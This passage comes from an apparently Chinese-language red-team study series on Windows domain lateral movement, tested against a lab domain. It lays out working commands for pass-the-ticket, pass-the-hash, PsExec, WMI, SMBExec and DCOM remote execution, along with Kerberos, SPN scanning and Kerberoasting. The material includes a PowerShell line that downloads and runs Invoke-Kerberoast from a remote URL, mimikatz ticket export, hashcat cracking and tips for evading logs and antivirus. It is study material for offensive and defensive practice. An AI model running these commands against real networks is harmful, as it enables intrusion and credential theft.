          使用以下命令將票據導入內存,之后 exit 退出 kekeo,使用 dir 命令就可以列出遠程文件了。

          kerberos::ptt "TGT_administrator@TEAMSSIX.COM_krbtgt~teamssix.com@TEAMSSIX.COM.kirbi"

          注意點:

          1、票據文件注入內存的默認有效時間為 10 小時

          2、在目標機器上不需要本地管理員權限就可以進行票據傳遞

          3、使用票據傳遞時,dir 命令必須使用主機名,如果使用 IP 地址會提示拒絕訪問。

          0x22 PsExec 和 WMI 的使用

          1、PsExec

          PsExec.exe

          PsExec 在之前的文章里提到過一次,參見https://teamssix.com/210802-181052.html,今天來著重學習一下。

          PsExec 是 PSTools 工具包里的一部分,其下載地址為:https://download.sysinternals.com/files/PSTools.zip

          利用 PsExec 可以在遠程計算機上執行命令,其基本原理是通過管道在遠程目標主機上創建一個 psexec 服務,并在本地磁盤中生成一個名為 PSEXESVC 的二進制文件,然后通過 psexec 服務運行命令,運行結束后刪除服務。

          建立 ipc$ 連接

          net use \192.168.7.7ipc$ "1qaz@WSX" /user:administrator或者net use \192.168.7.7 /u:teamssix.comadministrator "1qaz@WSX"

          在已經建立 ipc$ 的情況下,執行以下命令就可以獲得 system 權限

          PsExec.exe -accepteula \192.168.7.7 -s cmd.exe
          -accepteula 第一次運行 PsExec 會彈出確認框,使用該參數就不會彈出確認框-s 以 System 權限運行遠程進程,如果不用這個參數,就會獲得一個對應用戶權限的 shell

          如果沒有建立 ipc$ 連接,也可以直接使用 PsExec 指定用戶名密碼進行連接

          PsExec.exe \192.168.7.7 -u administrator -p 1qaz@WSX cmd.exe
          -u 域用戶名-p 密碼

          或者執行以下命令直接回顯命令結果

          PsExec.exe \192.168.7.7 -u administrator -p 1qaz@WSX cmd.exe /c "ipconfig"

          在使用 PsExec 時需要注意以下幾點:

          • 需要遠程系統開啟 admin$ 共享(默認是開啟的)
          • 因為 PsExec 連接的原理是基于 IPC 共享,因此目標需要開放 445 端口
          • 在使用 IPC$ 連接目標系統后,不需要輸入賬戶和密碼。
          • 在使用 PsExec 執行遠程命令時,會在目標系統中創建一個 psexec 的服務,命令執行完后,psexec 服務將被自動刪除。由于創建或刪除服務時會產生大量的日志,因此藍隊在溯源時可以通過日志反推攻擊流程。
          • 使用 PsExec 可以直接獲得 System 權限的交互式 Shell 的前提目標是 administrator 權限的 shell
          • 在域環境測試時發現,非域用戶無法利用內存中的票據使用 PsExec 功能,只能依靠賬號和密碼進行傳遞。

          MSF

          MSF 中也有 PsExec 的利用模塊,使用方法如下:

          use exploit/windows/smb/psexecset rhost 192.168.7.7set smbuser administratorset smbpass 1qaz@WSXrun

          2、WMI

          WMI 全稱 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系統都支持 WMI。

          由于 Windows 默認不會將 WMI 的操作記錄在日志里,同時現在越來越多的殺軟將 PsExec 加入了黑名單,因此 WMI 比 PsExec 隱蔽性要更好一些。

          wmic 命令

          WMI 連接遠程主機,并使用目標系統的 cmd.exe 執行命令,將執行結果保存在目標主機 C 盤的 ip.txt 文件中

          使用 WMIC 連接遠程主機,需要目標主機開放 135 和 445 端口( 135 端?是 WMIC 默認的管理端?,wimcexec 使?445端?傳回顯)

          wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX process call create "cmd.exe /c ipconfig > c:ip.txt"

          之后建立 IPC$ ,使用 type 讀取執行結果

          net use \192.168.7.7ipc$ "1qaz@WSX" /user:administratortype \192.168.7.7C$ip.txt

          也可以預先建立 ipc$ 連接,再使用 wmic

          net use \192.168.7.7ipc$ "1qaz@WSX" /user:administratorwmic /node:192.168.7.7 process call create "cmd.exe /c ipconfig >c:ip.txt"type \192.168.7.7C$ip.txt

          wmiexec.py

          在 impacket 工具包里有 wmiexec.py 腳本,可以用來直接獲取 shell

          python3 wmiexec.py administrator:1qaz@WSX@192.168.7.7

          wmiexec.py 還支持通過哈希傳遞獲得 shell

          python3 wmiexec.py -hashes LMHash:NTHash 域名/用戶名@目標IP

          wmiexec.vbs

          wmiexec.vbs 腳本通過 VBS 調用 WMI 來模擬 PsExec 的功能,wmiexec.vbs 下載地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs

          cscript //nologo wmiexec.vbs /shell 192.168.7.7 administrator 1qaz@WSX

          使用 vmiexec.vbs 執行單條命令

          cscript wmiexec.vbs /cmd 192.168.7.7 administrator 1qaz@WSX "ipconfig"

          因為這只是個半交互式的 Shell,因此對于運行時間比較長的命令,比如 ping、systeminfo 等,需要加上 -wait 5000 或更長的時間。

          在運行 nc 等不需要輸出結果但需要一直運行的進程時,可以使用 -persist 參數,當命令加了 -persist 選項后,程序會在后臺運行,不會有結果輸出,而且會返回這個命令進程的 PID,方便結束進程,這樣就可以運行 nc 或者木馬程序了。

          不過目前 vmiexec.vbs 已經被卡巴斯基、賽門鐵克等殺軟列入查殺名單了。

          Invoke-WmiCommand

          Invoke-WmiCommand.ps1 是 PowerSploit 工具包里的一部分,該腳本是利用 Powershell 調用 WMI 來遠程執行命令。

          在 Powershell 中運行以下命令

          # 導入 Invoke-WmiCommand.ps1 腳本Import-Module .Invoke-WmiCommand.ps1# 指定目標系統用戶名$User = "teamssix.comadministrator" # 指定目標系統的密碼$Password = ConvertTo-SecureString -String "1qaz@WSX" -AsPlainText -Force# 將賬號和密碼整合起來,以便導入 Credential$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password# 指定要執行的命令和目標 IP$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.7.7# 將執行結果輸出到屏幕上$Remote.PayloadOutput

          Invoke-WMIMethod

          Invoke-WMIMethod 是 PowerShell 自帶的一個模塊,也可以用它來連接遠程計算機執行命令和指定程序。

          # 指定目標系統用戶名$User="teamssix.comadministrator"# 指定目標系統密碼$Password=ConvertTo-SecureString -String "1qaz@WSX" -AsPlainText -Force# 將賬號和密碼整合起來,以便導入 Credential中$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password# 在遠程系統中運行 calc.exe 命令Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.7.7" -Credential $Cred

          可以看到在 192.168.7.7 主機中已經有進程 ID 為 3276 的 calc.exe 被執行了。

          wmic 的其他命令

          使用 wmic 遠程開啟目標的 RDP

          # 適于 Windows xp、server 2003wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1# 適于 Windows 7、8、10,server 2008、2012、2016,注意 ServerName 需要改為目標的 hostnamewmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX RDTOGGLE WHERE ServerName='dc' call SetAllowTSConnections 1或者wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX process call create 'cmd.exe /c REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

          判斷 RDP 有沒有開可以使用以下命令,如果返回 0 表示開啟,返回 1 表示關閉。

          REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections

          使用 wmic 遠程重啟目標計算機

          wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX process call create "shutdown.exe -r -f -t 0"

          0x23 SMBExec 與 DCOM 的使用

          1、SMBExec

          利用 SMBExec 可以通過文件共享(admin、ipc)在遠程系統中執行命令,它的工作方式類似于 PsExec

          C++ 版

          C++ 版項目地址:https://github.com/sunorr/smbexec

          一看這個項目是 8 年前上傳的了,然后試了用 VS2019 沒編譯成功,而且目前各大殺軟也都查殺這個工具了,所以這個就不看了,直接看 impacket 里的同類工具。

          impacket 版

          在 impacket 工具包里包含了 smbexec.py 工具,使用起來也很簡單。

          python3 smbexec.py teamssix.com/administrator:1qaz@WSX@192.168.7.7

          Linux 跨平臺 Windows 遠程命令執行

          smbexec 工具包下載地址:https://github.com/brav0hax/smbexec

          這里安裝以 Kali 為例

          git clone https://github.com/brav0hax/smbexec.gitcd smbexec/chmod +x install.shsudo ./install.sh

          安裝時需要選擇操作系統,根據自己情況選擇就行,如果是 Kali 就選擇 Debain,然后選擇安裝目錄,直接回車默認 /opt 目錄即可。

          安裝完后,在終端里輸入 smbexec 就會顯示 smbexec 的主菜單,分別如下:

          1. System Enumeration   // 獲取系統信息2. System Exploitation  // 執行系統命令3. Obtain Hashes        // 獲取系統哈希4. Options              // 一些其他操作5. Exit                 // 退出

          選擇菜單 1 System Enumeration 有以下選項:

          1. Create a host list                 // 掃描目標 IP 段中存活的主機2. Check systems for Domain Admin     // 獲取目標系統中的管理員3. Check systems for logged in users  // 獲取當前登錄目標系統的用戶4. Check systems for UAC              // 獲取目標系統 UAC 的狀態5. Enumerate Shares                   // 獲取目標系統中的網絡共享目錄6. File Finder                        // 搜索目標系統中的敏感文件7. Remote login validation            // 獲取目標系統中遠程登錄的用戶8. Main menu                          // 返回主菜單

          選擇菜單 2 System Exploitation 有以下選項:

          1. Create an executable and rc script    // 生成一個 meterpreter Payload 并在目標系統中運行它2. Disable UAC                           // 關閉遠程主機的 UAC3. Enable UAC                            // 開啟遠程主機的 UAC4. Execute Powershell                    // 執行一個 PowerShell 腳本5. Get Shell                             // 使用基于 PsExec 的方式獲得目標系統的 Shell6. In Memory Meterpreter via Powershell  // 通過 PowerShell 在內存中插入 Meterpreter Payload7. Remote system access                  // 遠程訪問系統8. Main menu                             // 返回主菜單

          選擇菜單 3 Obtain Hashes 有以下選項:

          1. Domain Controller            // 獲取域控哈希2. Workstation & Server Hashes  // 獲取本地哈希3. Main menu                    // 返回主菜單

          選擇菜單 4 Options 有以下選項:

          1. Save State            // 保存當前狀態2. Load State            // 加載以前保存的狀態3. Set Thread Count      // 設置線程數4. Generate SSL Cert     // 生成 SSL 證書5. Enter Stealth Mode    // 進入安靜模式6. About                 // 關于7. Main menu             // 返回主菜單

          獲取目標系統 UAC 的狀態

          獲取目標系統中的網絡共享目錄

          獲取本地哈希

          2、DCOM 在遠程系統中的使用

          COM 即組件對象模型 (Component Object Model,COM) ,是基于 Windows 平臺的一套組件對象接口標準,由一組構造規范和組件對象庫組成。

          COM 是許多微軟產品和技術如 Windows 媒體播放器和 Windows Server 的基礎。

          DCOM (分布式組件對象模型)是微軟基于組件對象模型(COM)的一系列概念和程序接口,DCOM 是 COM(組件對象模型)的擴展。

          它支持不同的兩臺機器上的組件間的通信,不論它們是運行在局域網、廣域網、還是 Internet 上,利用這個接口,客戶端程序對象能夠向網絡中另一臺計算機上的服務器程序對象發送請求。

          攻擊者可使用 DCOM 進行橫向移動,通過 DCOM 攻擊者可在擁有適當權限的情況下通過 Office 應用程序以及包含不安全方法的其他 Windows 對象遠程執行命令。

          使用 DCOM 進行橫向移動的優勢之一在于,在遠程主機上執行的進程將會是托管 COM 服務器端的軟件。例如我們濫用 ShellBrowserWindow COM 對象,那么就會在遠程主機的現有 explorer.exe 進程中執行。

          對攻擊者而言,這無疑能夠增強隱蔽性,由于有大量程序都會向 DCOM 公開方法,因此防御者較難以監測所有程序。

          在本地通過 DCOM 執行命令

          1、獲取 DCOM 程序列表

          Get-CimInstance 是 PowerShell 3.0 以上的版本自帶的,因此只有 Windows Server 2012 及以上的操作系統才會自帶 Get-CimInstance 命令

          Get-CimInstance Win32_DCOMApplication

          在 Windows 7 和 Windows Server 2008 中可以使用 Get-WmiObject 替代 Get-CimInstance

          Get-WmiObject -Namespace ROOTCIMV2 -Class Win32_DCOMApplication

          2、使用 DCOM 執行任意命令

          在 DCOM 程序列表中有個 MMC Application Class(MMC20.Application),這個 COM 對象可以編程 MMC 管理單元操作的組件腳本。

          在本地以管理員權限啟動一個 PowerShell,并執行以下命令

          $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))

          獲得COM對象的實例后,還可以執行如下命令枚舉這個 COM 對象中的不同方法和屬性

          $com.Document.ActiveView | Get-Member

          在 MMC20.Application 中有個 ExecuteShellCommand 方法,我們可以拿它來執行命令,比如啟動個計算器

          $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

          除了 MMC20.Application 還有 ShellWindows、ShellBrowserWindow、Excel.Application 以及 Outlook.Application 等等可以被我們利用。

          使用 DCOM 在遠程主機上執行命令

          在使用該方法時,需要具備以下條件:

          • 具有本地管理員權限的 PowerShell
          • 需要關閉目標系統的防火墻。
          • 在遠程主機上執行命令時,必須使用域管的 administrator 賬戶或者在目標主機上具有管理員權限的賬戶

          1、調用 MMC20.Application 遠程執行命令

          $com = [Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.7.7"))$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")或者[Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.7.7")).Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

          2、調用 ShellWindows 遠程執行命令

          $com=[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.7.7"))$com.item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:windowssystem32",$null,0)或者[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.7.7")).item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:windowssystem32",$null,0)

          以上這兩種方法均適用于Windows 7、Windows 10、Windows Server 2008、Windows Server 2016 的系統。

          除了 MMC20.Application 和 ShellWindows,還有以下這幾種 DCOM 對象可以被利用。

          3、調用 Excel.Application 遠程執行命令

          $com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.7.7"))$com.DisplayAlerts = $false$com.DDEInitiate("cmd.exe","/c calc.exe")

          4、調用 ShellBrowserWindow 遠程執行命令

          適用于 Windows 10 和 Windows Server 2012 R2 等版本的系統

          $com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.7.7"))$com.Document.Application.shellExecute("calc.exe")或者[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.3.144")).Document.Application.shellExecute("calc.exe")

          5、調用 Visio.Application 遠程執行命令

          前提是目標安裝了 Visio

          $com = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.7.7"))$com.[0].Document.Application.shellExecute("calc.exe")或者[activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.7.7")).[0].Document.Application.shellExecute("calc.exe")

          6、調用 Outlook.Application 遠程執行命令

          前提是目標安裝了 Outlook

          $com = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","192.168.7.7"))$com.createObject("Shell.Application").shellExecute("192.168.7.7")或者[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","192.168.7.7")).createObject("Shell.Application").shellExecute("calc.exe")

          dcomexec.py 腳本

          Impacket 工具包里也提供了 DCOM 的利用腳本,該腳本可以提供一個類似于 wmiexec.py 腳本的半交互式 shell,不過使用的是 DCOM

          dcomexec.py 腳本目前支持 MMC20.Application、ShellWindows 和 ShellBrowserWindow 對象。

          python3 dcomexec.py teamssix.com/administrator:1qaz@WSX@192.168.7.7

          或者只執行一條命令

          python3 dcomexec.py teamssix.com/administrator:1qaz@WSX@192.168.7.7 ipconfig

          如果只知道 hash 也可以用 hash 去連接

          python3 dcomexec.py teamssix.com/administrator@192.168.7.7 -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24

          0x24 SPN 的應用

          0、前言

          SPN

          Windows 域環境是基于微軟的活動目錄服務工作的,它在網絡系統環境中將物理位置分散、所屬部門不同的用戶進行分組和集中資源,有效地對資源訪問控制權限進行細粒度的分配,提高了網絡環境的安全性及網絡資源統一分配管理的便利性。

          在域環境中運行的大量應用包含了多種資源,為了對資源的合理分類和再分配提供便利,微軟給域內的每種資源分配了不同的服務主題名稱即 SPN (Service Principal Name)

          Kerberos

          Kerberos 是由 MIT 提出的一種網絡身份驗證協議,旨在通過密鑰加密技術為客戶端/服務器應用程序提供強身份驗證,它也是主要用在域環境下的身份認證協議。

          在 Kerberos 認證中,最主要的問題就是如何證明「你是你」的問題,比如當一個用戶去訪問服務器上的某服務時,服務器如何判斷該用戶是否有權限來訪問自己主機上的服務,同時保證在這個過程中的通訊內容即使被攔截或篡改也不會影響通訊的安全性,這正是 Kerberos 解決的問題。

          Kerberos 協議中的名稱解釋:

          • Client: 訪問服務的客戶端
          • Server: 提供服務的服務器
          • KDC (Key Distribution Center): 密鑰分發中心
          • AS (Authentication Service): 認證服務器
          • TGS (Ticket Granting Service): 票據授予服務
          • DC (Domain Controller): 域控制器
          • AD (Account Database): 用戶數據庫
          • TGT (Ticket Granting Ticket): 票證授予票證
          • ST (Servre Ticket): 服務票據

          根據上圖,這里一步一步進行解釋

          第一階段:Clinet 與 AS

          ① 客戶端向認證服務器 AS 發起請求,請求內容為自己的用戶名、主機 IP 和當前時間戳。

          ② AS 接收到請求,此時 AS 會根據用戶名在用戶數據庫 AD 中尋找,判斷這個用戶名在不在白名單里,此時只會查找具有相同用戶名的用戶,并不會判斷身份的可靠性;如果沒有該用戶名,認證失敗;如果存在該用戶名,則 AS 便認為用戶存在,此時 AS 對客戶端做出響應,響應內容包含兩部分:

          • 第一部分:票據授予票據 TGT,客戶端需要使用 TGT 去密鑰分發中心 KDC 中的票據授予服務 TGS 獲取訪問網絡服務所需的票據,TGT 中包含的內容有 kerberos 數據庫中存在的客戶端信息、IP、當前時間戳
          • 第二部分:使用客戶端密鑰加密的一段內容,這段內容包括:用于客戶端和 TGS 之間通信的 Session_Key (CT_SK) ,客戶端即將訪問的 TGS 信息以及 TGT 的有效時間和一個當前時間戳,該部分內容使用客戶端密鑰加密,所以客戶端在拿到該部分內容時可以通過自己的密鑰解密。

          至此,第一階段通信完成。

          第二階段:Clinet 與 TGS

          此時客戶端已經獲取到了 AS 返回的消息,客戶端會將 AS 返回的第二部分內容進行解密,分別獲得時間戳、接下來要訪問的 TGS 信息以及用于和 TGS 通信的密鑰 CT_SK

          首先客戶端會判斷時間戳與自己發出的時間差是否大于 5 分鐘,如果大于 5 分鐘那就認為這個 AS 是偽造的,認證失敗,否則就繼續準備向 TGS 發起請求。

          ③ 客戶端向 TGS 發起請求,請求的內容包含三部分:

          • 第一部分:使用 CT_SK 加密的客戶端信息、IP、時間戳
          • 第二部分:自己想要訪問的 Server 服務信息(明文形式)
          • 第三部分:使用 TGS 密鑰加密的 TGT

          ④ TGS 接收到請求,首先判斷當前系統是否存在客戶端想要訪問的 Server 服務,如果不存在,認證失敗,如果存在則繼續接下來的認證。

          接下來 TGS 利用自己的秘鑰解密 TGT 內容,此時 TGS 獲取到經過 AS 認證后的用戶信息、CT_SK、時間戳信息,通過時間戳判斷此次請求時延是否正常,如果時延正常就繼續下一步。之后 TGS 會使用 CT_SK 解密客戶端發來的第一部分內容,取出其中的用戶信息和 TGT 里的用戶信息進行對比,如果全部一致則認為客戶端身份正常,繼續下一步。此時 TGS 將向客戶端發起響應,響應信息包含兩部分:
          • 第一部分:使用服務端密碼加密的服務票據 ST,其中包括客戶端信息、IP、客戶端待訪問的服務端信息、ST 有效信息、時間戳以及用于客戶端和服務端之間通信的 CS_SK
          • 第二部分:使用 CT_SK 加密的內容,其中包括 CS_SK 、時間戳和 ST 的有效時間。

          至此,第二階段通信完成。

          第三階段:Clinet 與 Server

          此時客戶端收到來自 TGS 的響應,并使用本地緩存的 CT_SK 解密出 TGS 返回的第二部分內容,檢查時間戳無誤后,取出 CS_SK 準備向服務端發起請求。這里由于 TGS 返回的第一部分信息是用的服務端秘鑰加密的,因此這里的客戶端是無法進行解密的。

          ⑤ 客戶端向服務端發送請求,請求內容包括兩部分:

          • 第一部分:利用 CS_SK 將自己的主機信息和時間戳進行加密的信息
          • 第二部分:第 ④ 步里 TGS 向客戶端返回的第一部分內容,即使用服務端密碼加密的服務票據 ST

          ⑥ 服務端此時收到了來自客戶端的請求,它會使用自己的密鑰解密客戶端發來的第二部分內容,核對時間戳之后,取出 CS_SK,利用 CS_SK 解密第一部分內容,從而獲得經過 TGS 認證后的客戶端信息。

          此時服務端會將第一部分解密后的信息與第二部分解密后的信息進行對比,如果一致則說明該客戶端身份為真實身份,此時服務端向客戶端響應使用 CS_SK 加密的表示接受的信息,客戶端接受到信息后也確認了服務端的真實性。

          至此,第三階段通信完成,到這里整個 kerberos 認證也就完成了,接下來客戶端與服務端就能放心的進行通信了。

          這里可以再通過時序圖加深下印象。

          注意點:

          • KDC 服務默認會安裝在一個域的域控中
          • Kerberos 認證采用對稱加密算法
          • 三個階段里都使用了密鑰,這些密鑰都是臨時生成的,也只在一次會話中生效,因此即使密鑰被劫持,等到密鑰被破解可能這次會話也都早已結束。
          • AD 其實是一個類似于本機 SAM 的一個數據庫,全稱叫 Account Database,存儲所有 Client 白名單,只有存在于白名單的 Client 才能順利申請到 TGT
          • KDC 服務框架中包含一個 KRBTGT 賬戶,它是在創建域時系統自動創建的一個賬號,可以暫時理解為它就是一個無法登陸的賬號,在發放票據時會使用到它的密碼 HASH 值。

          1、SPN

          相關概念

          在使用 Kerberos 協議進行身份驗證的網絡中,必須在內置賬號(NetworkService、LocalSystem)或者用戶賬號下為服務器注冊 SPN。

          對于內置賬號,SPN 將自動進行注冊,如果在域用戶賬號下運行服務,則必須為要使用的賬號手動注冊 SPN。

          因為域環境中的每臺服務器都需要在 Kerberos 身份驗證服務中注冊 SPN ,所以 RT 會直接向域控制器發送查詢請求,獲取需要的服務的 SPN ,從而知道自己需要使用的服務資源在哪臺機器上。

          SPN 格式如下:

          serviceclass "/" hostname [":"port] ["/" servicename]

          serviceclass(必選):服務組件名稱hostname(必選):以 “/” 與后面的名稱分隔,這里的 hostname 是計算機的 FQDN (全限定域名,同時帶有計算機名和域名)port(可選):以冒號分隔,后面的內容為該服務監聽的端口號servicename(可選):一個字符串,可以是服務的專有名稱(DN)、objectGuid、Internet主機名或全限定域名

          常見 SPN 服務

          MSSQL 服務

          MSSQLSvc/DBServer.teamssix.com:1433

          Exchange 服務

          exchangeMDB/ExServer.teamssix.com

          RDP 服務

          TERMSRV/ExServer.teamssix.com

          WSMan/WinRM/PSRemoting 服務

          WSMAN/ExServer.teamssix.com

          SPN 掃描腳本

          SPN 掃描也叫「掃描 Kerberos 服務實例名稱」,在活動目錄中發現服務的最佳方法就是 SPN 掃描。

          SPN 掃描通過請求特定 SPN 類型的服務主體名稱來查找服務,與網絡端口相比,SPN 掃描的主要特點是不需要通過連接網絡中的每個 IP 地址來檢查服務端口,因此不會因觸發內網中的安全設備規則而產生大量的告警日志。

          由于 SPN 查詢是 Kerberos 票據行為的一部分,所以檢測難度較大。

          setspn

          setspn 是 Windows 自帶命令,以下命令可列出域中所有的 SPN 信息

          setspn -T teamssix -Q */*

          Active Directory 模塊

          PowerShell 模塊 Active Directory 只在域控上有

          Import-Module ActiveDirectoryget-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon

          或者使用大佬導出的模塊,這樣普通用戶也可以使用該模塊,下載地址:https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll

          Import-Module .Microsoft.ActiveDirectory.Management.dllget-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon

          PowerView

          PowerView 下載地址:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

          Import-Module .PowerView.ps1Get-NetUser -spn -AdminCount|select name,whencreated,pwdlastset,last

          Powershell-AD-Recon

          Powershell-AD-Recon 提供了一系列獲取服務與服務登錄賬號和運行服務的主機之間的對應關系的工具,這些服務包括但不限于 MSSQL、Exchange、RDP、WinRM

          Powershell-AD-Recon 下載地址:https://github.com/PyroTek3/PowerShell-AD-Recon

          Powershell-AD-Recon 工具包里的內容如下:

          Discover-PSInterestingServices    # 查找所有 SPN 服務Discover-PSMSExchangeServers        # 查找 Exchange 服務器Discover-PSMSSQLServers         # 查找 MSSQL 服務器Find-PSServiceAccounts          # 查找服務賬戶Get-DomainKerberosPolicy        # 獲取域 Kerberos 策略Get-PSADForestInfo              # 獲取域森林信息Get-PSADForestqInfo             # 獲取域森林 KRBTGT 信息

          下載后的文件是沒有 .ps1 后綴的,需要自己添加上

          由于 SPN 是通過 LDAP 協議向域控制器進行查詢的,因此 RT 需要獲得一個普通的域用戶權限才可以進行 SPN 掃描。

          將 PowerShell 腳本導入并執行,以 MSSQL 服務為例

          Import-Module .Discover-PSMSSQLServers.ps1Discover-PSMSSQLServers或者PowerShell -exec bypass -C "Import-Module .Discover-PSMSSQLServers.ps1;Discover-PSMSSQLServers"

          掃描域中所有的 SPN 信息

          Import-Module .Discover-PSInterestingServices.ps1Discover-PSInterestingServices或者PowerShell -exec bypass -C "Import-Module .Discover-PSInterestingServices.ps1;Discover-PSInterestingServices"

          kerberoast

          kerberoast 工具包里的 GetUserSPNs.ps1,可以幫助我們發現僅與用戶帳戶相關聯的服務。

          kerberoast 下載地址:https://github.com/nidem/kerberoast

          ./GetUserSPNs.ps1或者PowerShell -exec bypass -File GetUserSPNs.ps1

          kerberoast 工具包里的 GetUserSPNs.vbs 也能實現相同的功能

          cscript.exe GetUserSPNs.vbs

          PowerShellery

          PowerShellery 工具包里包含了 Get-SPN,可以為各種服務收集 SPN

          PowerShellery 下載地址:https://github.com/nullbind/Powershellery

          Import-Module .Get-SPN.psm1Get-SPN -type service -search *或者PowerShell -exec bypass -C "Import-Module .Get-SPN.psm1;Get-SPN -type service -search *"

          結果也可以轉換為表格的形式,以便于瀏覽

          Import-Module .Get-SPN.psm1Get-SPN -type service -search * -List yes或者PowerShell -exec bypass -C "Import-Module .Get-SPN.psm1;Get-SPN -type service -search * -List yes"

          另外一個 Get-DomainSpn.psm1 腳本可以用來獲取 UserSID、服務和實際用戶

          Import-Module .Get-DomainSpn.psm1Get-DomainSpn或者PowerShell -exec bypass -C "Import-Module .Get-DomainSpn.psm1;Get-DomainSpn"

          Impacket

          Impacket 下載地址:https://github.com/SecureAuthCorp/impacket

          上面的工具都是在域內的機器里掃描 SPN 的,利用 impacket 工具包下的 GetUserSPNs.py 可以在非域主機中掃描目標的 SPN

          python3 GetUserSPNs.py -dc-ip 192.168.7.7 teamssix.com/test

          2、kerberoast

          kerberoast 是一種針對 Kerberos 協議的利用方式,在因為需要使用某個特定資源而向 TGS 發送 Kerberos 服務票據的請求時,用戶首先需要使用具有有效身份權限的 TGT 向 TGS 請求相應服務的票據。

          當 TGT 被驗證有效且具有該服務的權限時,TGS 會向用戶發送一張票據。該票據使用與 SPN 相關聯的計算機服務賬號的 NTLM Hash(RC4_HMAC_MD5),就是說,RT 會通過 Kerberoast 嘗試使用不同的 NTLM Hash 來打開該 Kerberos 票據,如果 RT 使用的 NTLM Hash 是正確的,Kerberos 票據就會被打開,而該 NTLM Hash 對應于該計算機服務賬號的密碼。

          kerberoast 的利用思路:

          1、查詢 SPN 尋找在 Users 下并且是高權限域用戶的服務

          2、請求并導出 TGS

          3、對 TGS 進行爆破

          這里以 MSSQL 服務為例,并嘗試破解該服務的票據

          手動注冊 SPN

          setspn -A MSSQLSvc/DBSRV.teamssix.com:1433 test

          查看用戶所對應的 SPN

          setspn -L teamssix.comtest

          也可以使用 adsiedit.msc 查看用戶 SPN 及其他高級屬性

          為用戶配置指定服務的登錄權限,gpedit.msc 打開本地組策略編輯器,找到以下路徑,將用戶添加進去,例如這里添加的用戶為 test

          計算機配置Windows 設置安全設置本地策略用戶權限分配作為服務登錄

          因為 Kerberos 協議的默認加密方式是 AES256_HMAC,而通過 tgsreperack.py 腳本無法破解該加密方式,因此我們可以通過組策略將加密方式設置為 RC_HMAC_MD5

          在本地組策略編輯器中,找到以下路徑,將加密方式設置為 RC_HMAC_MD5

          計算機配置Windows 設置安全設置本地策略安全選項網絡安全:配置 Kerberos 允許的加密類型

          請求指定 SPN 的服務票據

          $SPNName = 'MSSQLSvc/DBSRV.teamssix.com'Add-Type -AssemblyNAme System.IdentityModelNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName

          或者請求所有服務的服務票據

          Add-Type -AssemblyName System.IdentityModel  setspn -q */* | select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

          可以使用 klist 查看本地緩存的票證,看看有沒有新的票據

          之后在 mimikatz 中執行如下命令,將內存中的票據導出

          kerberos::list /export

          也可以不使用 mimikatz,使用 powershell 腳本導出支持 hashcat 破解的格式

          powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/https://raw.githubusercontent.com/EmpireProject/Empire/6ee7e036607a62b0192daed46d3711afc65c3921/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl"

          或者使用 Rubeus 獲取票據

          Rubeus.exe kerberoast

          也可以使用 impacket 獲取票據

          python3 GetUserSPNs.py -request -dc-ip 192.168.7.7 -debug teamssix.com/test

          將 MSSQL 服務所對應的票據復制到有 kerberoast 的機器上,之后用 kerberoast 中的 tgsreperack.py 腳本破解票據的 NTLM Hash

          Kerberoast 腳本下載地址:https://github.com/nidem/kerberoast

          python tgsreperack.py password.txt mssql.kirbi

          或者使用 hashcat 破解 powershell 腳本、Rubeus、impacket 獲取到的服務票據

          hashcat -m 13100 /tmp/hash.txt /tmp/password.list -o found.txt --force

